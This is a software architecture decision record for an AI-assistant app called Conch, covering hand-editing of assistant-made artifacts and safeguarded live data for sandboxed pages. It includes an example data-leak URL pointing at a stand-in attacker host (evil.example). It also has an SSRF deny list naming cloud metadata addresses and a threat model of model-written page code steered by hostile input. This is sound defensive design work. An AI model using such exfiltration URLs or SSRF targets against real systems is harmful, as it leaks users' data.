0046 — Edit by hand and live data: closing what Show me left open
Status: accepted · 2026-10-02
- Status: accepted
- Date: 2026-10-02
- Builds on: ADR 0034 (Show me: the sealed page, the panel, pinned apps), ADR 0028 (the guard after reading), ADR 0014 (where Conch's requests may land), ADR 0020 (what a restore names first)
Context
ADR 0034 left two things out. You couldn't change what the assistant made yourself: fixing one number in a chart meant asking for it in words and hoping. And a page that needed live data (the weather, a price, a build status) couldn't have any, because a sealed page has no network. It had to ask the assistant to refresh it.
Both have traps.
- Editing. The assistant must know the newest version is yours. Otherwise its next change starts from the version it remembers and quietly undoes your edit. A page's live preview must not be a weaker seal than a saved page's.
- Live data. The page is code a model wrote, maybe after reading something
hostile. If it can fetch, it can send. The classic leak is a request whose
address spells out what the page knows:
https://evil.example/?d=<your data>. A gateway that fetches for it is also a way inward (SSRF) to this computer, the local network, cloud metadata and Conch itself.
Sharing outside Conch is not wanted, and isn't done.
Decision
1. Edit by hand
Every kind can be edited in the panel: page, document, chart, table, picture and diagram. Edit opens the code beside a preview (or Edit / Preview, one at a time, when the panel is narrow or on a phone).
- The preview follows as you type, 300 ms after you stop. Charts, tables, documents, pictures and diagrams are drawn by Conch from the text, as before. A chart or table that doesn't read keeps showing the last version that did.
- A page's preview is sealed exactly like a saved one. The text goes to
PUT /api/artifacts/:id/draft, kept in memory only (20 drafts, never written to disk). The preview is…/versions/draft/frame?rev=n: the same route, the sameframeHeaders, the samenavigatesrule and the sameSealedFrame. Each change is a new address, so the stop-a-second-load rule still holds. It is neversrcdoc, which would take this page's CSP rather than the seal's. - Mistakes in plain words.
artifactProblem(in@conch/protocol, so the editor and the gateway say the same thing) gives the line and what to fix: "The chart's JSON has a mistake on line 4, near column 3: look for a missing comma, quote or bracket.", "Value 2 of series 1 isn't a number.", "Line 3 has 3 values, but the header has 2.", "A quote on line 2 is never closed." Save waits until it's fixed. - Undo and redo, ⌘S saves and Esc cancels, from anywhere in the editor. They're caught on the window before anything else, so Esc cancels the edit instead of closing the phone's sheet, and ⌘S never saves twice. Tab moves on, as everywhere else: the editor never traps the keyboard.
- Nothing is lost by accident. An edit lives in a store, not in the panel. Closing the panel or going to another chat keeps it, and it's back when you return ("Your unsaved edit is back"). Cancel with changes asks first, and so does leaving the page.
- Saving is
POST /api/artifacts/:id/versionswithbase, the version that was newest when you started. If a newer one came in meanwhile, it's refused (409) and the editor says so, offering Save mine as the newest. The version is markededited("Edited by you") with its own Changes view, and the chat gets anartifactevent withaction: 'edited'. Activity says "You edited …". - The assistant sees your edit. The prompt context now has the chat's id
(
ConversationDeps.context(engine, conversationId)). While the newest version of something made in that chat is yours, the next turn carries it under "Edited by the user", with the content, and is told to build on it.artifact_updaterefuses to write over your version unless it passesbaseequal to it, and the refusal says what to do. A refresh passesbasetoo. Providers without tools read the same section. - It works where artifacts are: beside the chat, in the phone's sheet, on a pinned app's own page, and from ⌘K ("edit the budget").
The editor is CodeMirror 6.
- Why it. It is accessible: a
labelled
role="textbox", screen-reader friendly, keyboard-first. It is modular, so only six small languages are loaded: html (with its CSS and JS), markdown, json, xml (for svg), and csv and mermaid, which are shortStreamLanguageparsers of our own. Its theme can be pure CSS variables, so it takes the same Nacre palette asCodeBlockand follows light, dark and the accent without rebuilding. - Not Monaco. It weighs megabytes, needs web workers (the frame's CSP forbids them, and the app's would have to allow them), and is built for desktop screens.
- Not a plain textarea. It has no highlighting and no real undo.
- It loads when it's needed. It's a lazy chunk of its own (about 185 KB gzipped), loaded the first time an editor opens. If it can't load, a plain text box takes its place.
2. Live data
A page declares where it reads from, in the page itself:
It asks for one with await conch.data("weather", { lat: 52.52, lon: 13.4 }),
or conch.watch(…, callback) to be called now and on every refresh. The bridge
in frame.ts posts the request to the panel. SealedFrame passes it on only
from its own frame (event.source), and only as a name and short values. The
panel asks the gateway (POST …/versions/:n/live-data), and the answer goes back
by postMessage to that same window, and only while it's still the page that
loaded. The page still has no network of its own: its CSP is unchanged.
Conch-provided feeds, like your calendar, are not offered. They would carry your
own data into a page a model wrote, which this design exists to avoid.
Where a request may land (artifacts/live.ts, fetchLive). This follows
the OWASP SSRF Prevention Cheat Sheet (allowlist, no unvalidated redirects, DNS
pinning) and ASVS 5.0's SSRF controls:
- Only GET, with no cookies, no credentials and no headers from the page.
agent: false, so no connection is shared. - At most 1 MB, by
content-lengthand while reading, after decompressing (no zip bombs). At most 10 seconds for the whole chain. Text only: JSON, CSV, XML andtext/*. Anything else is "a file, not data". - Every address is checked as it connects. Requests use
node:http(s)with a customlookup, so the address checked is the address dialled, with no gap for DNS rebinding. An IP written in the address is checked before. Every redirect is checked again (at most 3), and is followed only to a host this page may read from.- Never: link-local, cloud metadata (169.254.169.254,
fd00:ec2::254),0.0.0.0/8, multicast, and IPv4 hidden in IPv6 (NAT64, 6to4, Teredo). - Never your network: RFC 1918, CGNAT, ULA and benchmarking.
- This computer (loopback) only when you said so for that page, and never Conch's own port.
- https only, except plain http to this computer.
- Never: link-local, cloud metadata (169.254.169.254,
Your OK, per page and host (artifacts/access.json). The first request
to a host you haven't allowed returns needs-approval, and the panel asks
Let "Weather now" read live data from api.open-meteo.com?, showing every
address it reads there.
- This computer takes a second, explicit yes ("Let it read from this computer"). The security checkup then warns until you take it back, and so does Repair everything.
- Only a person in the web app gives an OK. The assistant has no tool for
it. The route is behind sign-in, origin and Fetch-Metadata checks, so the
frame's own opaque origin (
Origin: null) can't reach it. - Taking an OK back is one press: Reads from → Stop on the page, or Settings → Security → Live data in pages → Take back. Deleting a page takes its OKs with it.
- Repair everything tidies away OKs that no page uses any more.
- Backups keep them (
kept, the chats group). A restore names them first (page-data-sites), so an old backup can't quietly bring back a site you took back.
What a page could send, and why it can't send much. A page that can choose what to read can encode what it knows in the choice. The measures:
- The host is fixed at approval. It's written out in the address. The
page can't fill it in (
{h}in the host is refused), and a redirect can't carry the request elsewhere. - The addresses are fixed at approval. An OK covers exactly the addresses you saw. A new version with a different address on the same host asks again ("now reads a different address"). This covers the assistant writing your data into a new address in a later version.
- Query templates, not strings. The page fills in only the
{name}s it declared. Each is one of a list (at most 50 choices of 64 characters) or a number in a range, rounded to its step. A range may have at most 10,000 steps. Free text, an extra parameter or a missing one is refused. - Length caps. A template is at most 300 characters, the filled-in address at most 1,024, and a page declares at most 8 sources.
- Few and seldom. At most 30 different addresses an hour per page. The same address is answered from the last read for 15 seconds. Together these cap what even an allowed host could learn from the choices at a few hundred bits an hour, at worst.
- Tainted chats. If the chat that made the page has read something untrusted, the question says so in the guard's words (ADR 0028): "This chat read evil.example, which could be trying to steer me. Only allow a site you know." What a page reads goes only to the page, never to the assistant, so it doesn't taint the chat.
Refresh, calm failure, pinned apps. A page may say every (one minute at
the least). The panel reads again on that schedule while it's on screen, and
Update now reads at once.
- The bar says "Live · Updated 2 min ago · every 10 min".
- A failure is calm: "Couldn't update: api.example.com took too long to
answer. Showing what it had from 12 min ago." The page keeps what it had,
and a non-2xx answer counts as a failure, as in
fetch. - Pinned apps are the same panel, so they keep showing live data.
- ⌘K finds Live data in pages.
Consequences
- People can fix what the assistant made with their own hands, see it at once, and trust that the next change builds on theirs. Pages can show the world as it is now without a model in the loop, and without a network of their own.
- Abuse cases are tested:
live.test.ts: SSRF by name, by number, by rebinding and by redirect; unapproved hosts; changed addresses; oversized, endless, slow and binary answers; rate limits; a damaged list; Repair.artifacts.test.ts: the data route refusingOrigin: null, other sites and no sign-in; drafts served with the seal's exact CSP; conflicts; the assistant refused over your edit.- Nacre
Editing.test.tsx: messages from the wrong window, malformed requests, a frame that loaded again. e2e/canvas.spec.ts, from inside a real frame: no fetch to Conch or to the site, an undeclared source, free text, a redirect to metadata, and postMessages from the wrong window.
- Residual risk. An allowed host learns that the page was opened, when,
and the declared choices it made. That is bounded by the caps above, and it
is the host you said yes to. Timing is a channel too, a slow one. The answer
to a page is posted with target
*, because a sealed page's origin is opaque. It goes only to the window that asked, while it's still the page that loaded, and it carries only what the allowed site sent. - New dependencies (Nacre):
@codemirror/state,view,commands,language,lang-html,lang-markdown,lang-json,lang-xmland@lezer/highlight, loaded only when an editor opens. - Not done: sharing outside Conch (not wanted); feeds from Conch's own data; a page reading anything but text; methods other than GET.